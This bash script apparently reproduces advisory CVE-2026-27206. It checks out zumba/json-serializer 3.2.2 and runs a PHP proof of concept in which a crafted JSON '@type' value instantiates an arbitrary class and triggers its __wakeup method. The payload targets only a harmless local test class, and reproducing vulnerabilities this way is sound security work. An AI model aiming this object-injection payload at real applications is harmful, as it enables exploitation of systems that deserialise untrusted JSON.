#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

echo "=== GHSA-v7m3-fpcr-h7m2 Reproduction Script ==="
echo "CVE-2026-27206: Zumba Json Serializer PHP Object Injection via @type"
echo ""

# Clone the vulnerable version if not exists
if [ ! -d "$ROOT/json-serializer" ]; then
    echo "[+] Cloning zumba/json-serializer repository..."
    git clone https://github.com/zumba/json-serializer.git "$ROOT/json-serializer"
fi

cd "$ROOT/json-serializer"

# Checkout the vulnerable version (3.2.2)
echo "[+] Checking out vulnerable version 3.2.2..."
git checkout 3.2.2 --quiet

# Install dependencies
echo "[+] Installing dependencies..."
if [ ! -d "vendor" ]; then
    composer install --no-interaction --quiet 2>&1 | tail -5
fi

# Create the reproduction PHP script
cat > "$ROOT/json-serializer/repro_poi.php" << 'PHPEOF'
<?php
require_once __DIR__ . '/vendor/autoload.php';
use Zumba\JsonSerializer\JsonSerializer;

// Track if __wakeup is called
$wakeupCalled = false;

class VulnerableTarget {
    public $data = 'initial';
    
    public function __wakeup() {
        global $wakeupCalled;
        $wakeupCalled = true;
        echo "[VULNERABILITY CONFIRMED] __wakeup() was called on arbitrary class!\n";
    }
}

echo "=== Testing PHP Object Injection via @type ===\n\n";

$serializer = new JsonSerializer();

// Malicious payload: specify arbitrary class in @type
$maliciousJson = '{"@type":"VulnerableTarget","data":"injected"}';
echo "[TEST] Malicious JSON payload: $maliciousJson\n\n";

$result = $serializer->unserialize($maliciousJson);

echo "[RESULT] Class instantiated: " . get_class($result) . "\n";
echo "[RESULT] Data value: " . $result->data . "\n";
echo "[RESULT] __wakeup() called: " . ($wakeupCalled ? "YES" : "NO") . "\n\n";

// Check if setAllowedClasses exists (patched version)
$hasSetAllowedClasses = method_exists($serializer, 'setAllowedClasses');
echo "[CHECK] setAllowedClasses() method: " . ($hasSetAllowedClasses ? "EXISTS (patched)" : "MISSING (vulnerable)") . "\n";

echo "\n=== CONCLUSION ===\n";
if ($wakeupCalled && !$hasSetAllowedClasses) {
    echo "VULNERABILITY CONFIRMED: Arbitrary class instantiation works!\n";
    echo "This version allows any class to be instantiated via @type.\n";
    exit(0);
} else {
    echo "Could not confirm vulnerability.\n";
    exit(1);
}
PHPEOF

# Run the reproduction script
echo "[+] Running reproduction script..."
php "$ROOT/json-serializer/repro_poi.php" 2>&1 | tee "$LOGS/repro_output.log"

exit_code=${PIPESTATUS[0]}

echo ""
echo "[+] Logs saved to: $LOGS/repro_output.log"

exit $exit_code
